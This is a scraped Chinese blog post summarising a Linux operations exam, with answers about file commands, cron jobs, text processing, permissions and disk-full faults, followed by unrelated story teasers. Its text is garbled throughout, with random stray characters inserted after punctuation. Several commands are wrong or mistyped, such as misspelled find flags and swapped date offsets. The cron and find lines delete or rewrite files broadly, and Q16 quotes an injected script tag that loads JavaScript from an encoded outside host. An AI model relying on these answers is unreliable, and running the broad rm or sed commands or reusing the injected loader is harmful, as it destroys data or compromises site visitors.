2019-03-27第五周考試總結(jié)

1.一個(gè)目錄中有很多文件(ls -l 查看時(shí)好多屏)词顾,想用一條命令最快速度查看到最近更新的文 件潮孽。如何看喻粹??

解答:ls -lrt


2.在配置 apache 服務(wù)時(shí) 執(zhí)行了./configure --prefix=/application/apache2.2.17 來編譯 apche帜慢, 在 make install 完成后坏快,希望用戶訪問 apache 路徑更簡(jiǎn)單铅檩,需要給/application/apache2.2.17 目錄做一個(gè)軟鏈接/application/apache,使得內(nèi)部開發(fā)或管理人員通過/application/apache 就可 以訪問到 apache 的安裝目錄/application/apache2.2.17 下的內(nèi)容莽鸿,請(qǐng)你給出實(shí)現(xiàn)的命令昧旨。?

解答:ln -s ? ? /application/apache2.2.17 ? ? ?? /application/apache


3.已知 Nginx 服務(wù)的訪問日志按天記錄在服務(wù)器本地目錄/app/logs 下,由于磁盤空間緊張祥得, 現(xiàn)在要求只能保留最近 7 天的訪問日志兔沃!請(qǐng)問如何解決? 請(qǐng)給解決辦法或配置或處理命令级及。

解答:

方法一: ? 00 00 * * * /usr/bin/find /app/logs? -type f mtime +7 |xargs rm -f? >/dev/null 2>&1

方法二:00 00 * * * /usr/bin/find /app/logs ? -type? f ? mtiime +7 -exec rm -f {} \; >/dev/null 2>&1

方法三:00 00 * * * /usr/bin/rm -f? $(find? -type f -metime +7) >/dev/null 2>&1


4.調(diào)試系統(tǒng)服務(wù)時(shí)乒疏,希望能實(shí)時(shí)查看/var/log/messages 系統(tǒng)日志的更新,如何做饮焦??

解答:

方法一:tail -f /var/log/messages

方法二:tail -F /var/log/messages

方法三:tailf? /var/log/messages


5.打印輕量級(jí) web 服務(wù)的配置文件 nginx.conf 內(nèi)容的行號(hào)及內(nèi)容怕吴,該如何做入偷?

解答:

方法一:cat -n nginx.conf

方法二:awk '{print NR,$0}' nginx.conf

方法三:grep -n "=" nginx.connf

方法四:sed? '='? nginx.conf

方法五:vim ?? :set nu

方法六:less -L? nginx.conf


?6.已知如下命令及結(jié)果:

[oldboy@test ~]$ echo "I am oldboy,my qq is 31333741">>oldboy.txt

[oldboy@test ~]$ cat oldboy.txt

I am oldboy,my qq is 31333741?

現(xiàn)在需要從文件中過濾出“oldboy”和“31333741”字符串,請(qǐng)給出命令械哟。

解答:

方法一:egrep -o 'oldboy|31333741' oldboy.txt

方法二:?sed -r 's#^.*am(.*),.*is(.*)#\1\2#g' oldboy.txt?

方法三:awk -F "[ ,]+" '{print $3,$NF}' oldboy.txt


?7.問題:請(qǐng)問在一個(gè)命令上加什么參數(shù)可以實(shí)現(xiàn)下面命令的內(nèi)容在同一行輸出疏之。

echo "oldboy";echo "oldboy" ?

解答:echo -n "oldboy" ; echo "oldboy"


8.如何快速查到 ifconfig 命令的全路徑(假如你不知道其路徑), 請(qǐng)給出命令暇咆。

解答:whereis ifconfig ? ? ? ? ? ? ? which ? ifconfig

9.查找/oldboy/目錄下所有文件锋爪,并把文件中的 www.etiantian.org 字符串替換成 www.oldboyedu.com?

解答:

find /oldboy/ -type f|xargs sed 's#www.etiantian.org#www.oldboyedu.com?#g'

10.過濾出/etc/services 文件包含 3306 或 1521 兩數(shù)據(jù)庫端口的行的內(nèi)容。?

解答:

方法一:egrep '3306|1521' /etc/services

方法二:sed -nr '/3306|1521/p' /etc/services

方法三:awk '/3306|1521/' /etc/services

11.請(qǐng)將 ifconfig eth0 和 ip add 結(jié)果中的 eth0 網(wǎng)卡對(duì)應(yīng) ip 地址取出(不低于 2 種方法)爸业。

[root@oldboyedu ~]# ifconfig eth0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>? mtu 1500

? ? ? ? inet 10.0.0.201? netmask 255.255.255.0? broadcast 10.0.0.255

? ? ? ? inet6 fe80::9fdb:66ba:dc7f:3fe5? prefixlen 64? scopeid 0x20<link>


2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000?

link/ether 00:0c:29:2a:ca:54 brd ff:ff:ff:ff:ff:ff

? ? inet 10.0.0.201/24 brd 10.0.0.255 scope global noprefixroute eth0?

解答:

ifconfig eth0

方法一:ifconfig eth0|sed -nr 's#^.*inet (.*) net.*$#\1#gp

方法二:ifconfig eth0|awk -F "[ ]+" 'NR==2{print $3}'

方法三:ifconfig eth0|awk -F "[ ]+" '$2~/inet$/{print $3}'

ip add

方法一:ip add|sed -nr 's#^.*inet (.*)\/24.*$#\1#gp'

方法二:ip add|awk -F "[ /]+" 'NR==3{print $3}'

12.如何賦予 oldboy.txt 文件如下權(quán)限其骄、用戶、用戶組屬性扯旷。

-w--rw-rwx. 1 oldboy sa? ? 24 Mar 13 11:46 oldboy.txt

解答:

chmod 267 oldboy.txt

chown oldboy.sa oldboy.txt

13.某系統(tǒng)管理員需每天做一定的重復(fù)工作拯爽,請(qǐng)按照下列要求,編寫一個(gè)解決方案钧忽,請(qǐng)按步 驟寫清楚每一步操作:?

(1)在下午 4:50 刪除/abc 目錄下的全部子目錄和全部文件毯炮。?

解答:

50 16 * * * /bin/sh rm -f /abc/* >/dev/null 2>&1

(2)每逢星期一下午五點(diǎn)將/data 目錄下的所有目錄和文件歸檔并壓縮為以當(dāng)天日期命名的 tar.gz 結(jié)尾打包文件。

解答:

00 17 * * * /bin/sh tar zcf /tmp/data_$(date +\%F).tar.gz? /data >/dev/null 2>&1

14.如何取得/etc/hosts 文件的權(quán)限對(duì)應(yīng)的數(shù)字內(nèi)容耸黑,如-rw-r--r-- 為 644桃煎,要求使用命令取得 644 這樣的數(shù)字(不低于 2 種方法)?

解答:

方法一:stat -c %a /etc/hosts

方法二:stat /etc/hosts|sed -nr 's#^.*\(0(.*)/-.*$#\1#gp'

方法三:stat /etc/hosts|sed -n 's#^.*(0\(.*\)/-.*$#\1#gp'

方法四:stat /etc/hosts|awk -F "[0/]+" 'NR==4{print $2}'


15.Linux 下通過 mkdir 命令創(chuàng)建一個(gè)新目錄/oldboy/ett,它的硬鏈接數(shù)是多少大刊,為什么为迈? 如果在/oldboy/ett 下面再創(chuàng)建一個(gè)目錄 test。再問/oldboy/ett 的硬鏈接數(shù)是多少缺菌?為什么葫辐。?

解答:

(1)、2個(gè)伴郁。因?yàn)閛ldboy自身就是一個(gè)硬鏈接

(2)耿战、3個(gè)。因?yàn)槌薳tt自身是一個(gè)硬鏈接外蛾绎,還有一個(gè).? 和一個(gè)..


16. 企業(yè)故障案例 1:(參考問題 9) 作為運(yùn)維工程師昆箕,你在工作中遇到的一個(gè)實(shí)際問題,情況是:一個(gè) lnmp 的服務(wù)器租冠,站 點(diǎn)目錄下所有的文件均被植入了如下內(nèi)容:

<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>(可用 A 代

替此行內(nèi)容解答) 包括圖片文件也被植入了鹏倘,當(dāng)用戶網(wǎng)站打開時(shí)就會(huì)調(diào)用這個(gè)地址,顯示一個(gè)廣告顽爹,請(qǐng)問你如 何解決纤泵。

解答:

第一步:備份

第二部:grep? 'A' *

第三部:find / -type f |xargs sed 's#A##g'

第四部:定位到文件內(nèi)容后,將其替換掉,確認(rèn)無誤再加-i 參數(shù)?

第五步:總結(jié)報(bào)告并查找故障原因捏题,進(jìn)行針對(duì)性防護(hù)

17.請(qǐng)輸出當(dāng)前日期和時(shí)間玻褪、3 天前的日期、未來 10 天的日期公荧。?

解答:

輸出當(dāng)前日期和時(shí)間:date

3天前的日期:date +%F -d"+3day"

未來10天的日期:date +%F -d"-10day"


18.寫出 10 個(gè)以上 Linux 命令行中特殊字符及對(duì)應(yīng)含義带射。?

解答:

1、* ? 匹配全部

2循狰、窟社? 匹配單個(gè)字符,有且只有一個(gè)

3绪钥、[abcd] ? 匹配里面的任意一個(gè)字符

4灿里、[a-d] ?? 匹配里面連續(xù)的任意一個(gè)字符

5、[^a-d] ? 取反

6程腹、~? 用戶的家目錄

7匣吊、- ? 上一次用戶所在目錄

8、. ?? 當(dāng)前你目錄

9寸潦、? .. ?? 上級(jí)目錄

10色鸳、'' ?? 所見即所得

11、"" ?? 引用字符串甸祭,解析變量缕碎、命令

12褥影、`` ? 引用命令池户,解析命令

13、凡怎;? 分隔符

14校焦、# ? (1)、管理員的提示符 (2)统倒、注釋符號(hào)

15寨典、$(1)、普通用戶的提示符(2)房匆、調(diào)用變量

16耸成、| ?? 管道

17、{}? (1)浴鸿、生成序列 ? (2)井氢、引用變量

18、\ ? ? 轉(zhuǎn)義字符

19岳链、 花竞!? 取反

20、&& ?? 前面正確后面才會(huì)輸出

21掸哑、|| ? 前面錯(cuò)誤后面才會(huì)輸出

[筆試考試試題理論部分]?

1. 請(qǐng)說出軟鏈接和硬鏈接的區(qū)別约急。?

解答:

硬鏈接不占用 inode 軟連接占用一個(gè) inode

硬鏈接不可以跨文件系統(tǒng)創(chuàng)建零远,軟鏈接不影響?

刪除源文件對(duì)硬鏈接無影響,但是軟鏈接會(huì)失效?

硬鏈接不可以給目錄創(chuàng)建厌蔽,軟連接行

2.描述 ls -lhi 輸出中牵辣,每一列的意義。

33631870? ? -rw-r--r--.? ? ? 1 root root? ? 21 Oct? 6? 2020 oldboy.txt?

解答:

1奴饮、索引節(jié)點(diǎn)

2服猪、文件權(quán)限? ;最后的點(diǎn)是 selinux? 是一種安全規(guī)則

3拐云、硬鏈接數(shù)

4罢猪、用戶(屬主)

5、用戶組(屬組)

6叉瘩、文件大小

7-9膳帕、文件最后修改時(shí)間(月、日薇缅、年)

10危彩、文件名

3. 什么是 PATH 環(huán)境變量,它有什么作用泳桦??

解答:

PATH 是命令的搜索路徑

作用:可以在其他子shell中定義命令的目錄路徑

4汤徽、描述 Linux 下文件刪除的原理??

解答:

硬鏈接數(shù)為 0 link 為 0?

進(jìn)程數(shù)為 0 icount 為 0?


5灸撰、 企業(yè)故障案例 2:往磁盤中寫入數(shù)據(jù)出現(xiàn) no space left on device 故障谒府,請(qǐng)寫出可能原因。

解答:

inode 滿:定時(shí)任務(wù)書寫有誤浮毯,導(dǎo)致郵件產(chǎn)生大量小文件完疫,把 inode 占用完了?

block 滿:df –h du –sh 定位到大文件,并將其刪除


6债蓝、企業(yè)故障案例 3: Tomcat 服務(wù)器磁盤滿了壳鹤,臨時(shí)刪除對(duì)應(yīng)日志文件但是發(fā)現(xiàn)空間未釋 放,可能原因是饰迹?如何解決)芳誓。

解答:

進(jìn)程占用,ps –ef|grep delete 相應(yīng)的服務(wù)進(jìn)程啊鸭,并將其重啟即可釋放空間


7. 企業(yè)故障案例 4:定時(shí)任務(wù)的腳本手工可以執(zhí)行锹淌,但是放到定時(shí)任務(wù)里無法執(zhí)行,可能 原因是什么莉掂?

解答:

原因一:環(huán)境變量問題葛圃,沒有使用絕對(duì)路徑執(zhí)行定時(shí)任務(wù)?

原因二:定時(shí)任務(wù)寫錯(cuò)了

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子库正,更是在濱河造成了極大的恐慌曲楚,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,406評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件褥符,死亡現(xiàn)場(chǎng)離奇詭異龙誊,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)喷楣,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,732評(píng)論 3 393
  • 文/潘曉璐 我一進(jìn)店門趟大,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人铣焊,你說我怎么就攤上這事逊朽。” “怎么了曲伊?”我有些...
    開封第一講書人閱讀 163,711評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵叽讳,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我坟募,道長(zhǎng)岛蚤,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,380評(píng)論 1 293
  • 正文 為了忘掉前任懈糯,我火速辦了婚禮涤妒,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘赚哗。我一直安慰自己她紫,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,432評(píng)論 6 392
  • 文/花漫 我一把揭開白布蜂奸。 她就那樣靜靜地躺著犁苏,像睡著了一般。 火紅的嫁衣襯著肌膚如雪扩所。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,301評(píng)論 1 301
  • 那天朴乖,我揣著相機(jī)與錄音祖屏,去河邊找鬼。 笑死买羞,一個(gè)胖子當(dāng)著我的面吹牛袁勺,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播畜普,決...
    沈念sama閱讀 40,145評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼期丰,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起钝荡,我...
    開封第一講書人閱讀 39,008評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤街立,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后埠通,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體赎离,經(jīng)...
    沈念sama閱讀 45,443評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,649評(píng)論 3 334
  • 正文 我和宋清朗相戀三年端辱,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了梁剔。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,795評(píng)論 1 347
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡舞蔽,死狀恐怖荣病,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情渗柿,我是刑警寧澤众雷,帶...
    沈念sama閱讀 35,501評(píng)論 5 345
  • 正文 年R本政府宣布,位于F島的核電站做祝,受9級(jí)特大地震影響砾省,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜混槐,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,119評(píng)論 3 328
  • 文/蒙蒙 一编兄、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧声登,春花似錦狠鸳、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,731評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至脯厨,卻和暖如春铅祸,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背合武。 一陣腳步聲響...
    開封第一講書人閱讀 32,865評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工临梗, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人稼跳。 一個(gè)月前我還...
    沈念sama閱讀 47,899評(píng)論 2 370
  • 正文 我出身青樓盟庞,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親汤善。 傳聞我的和親對(duì)象是個(gè)殘疾皇子什猖,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,724評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • 1.一個(gè)目錄中有很多文件(ls -l 查看時(shí)好多屏)票彪,想用一條命令最快速度查看到最近更新的文 件。如何看不狮? ls ...
    地瓜_fde4閱讀 174評(píng)論 0 0
  • 1.一個(gè)目錄中有很多文件(ls -l 查看時(shí)好多屏)降铸,想用一條命令最快速度查看到最近更新的文 件。如何看荤傲? ls ...
    喂00閱讀 185評(píng)論 0 0
  • 總結(jié):理論知識(shí)點(diǎn)基本都能記下 主要是命令的參數(shù)運(yùn)用的不靈活垮耳,有的參數(shù)都忘記了,記得不牢 還需要...
    樂園_YD閱讀 113評(píng)論 0 0
  • 1.一個(gè)目錄中有很多文件(ls -l 查看時(shí)好多屏)遂黍,想用一條命令最快速度查看到最近更新的文件终佛。如何看滑蚯? ls -...
    高博666閱讀 244評(píng)論 0 1
  • 筆試上機(jī)部分: 2.1請(qǐng)執(zhí)行命令取出linux中eth0的IP地址(請(qǐng)用cut达址,有能力著也可分別用awk,sed命...
    康樂_SH閱讀 315評(píng)論 0 0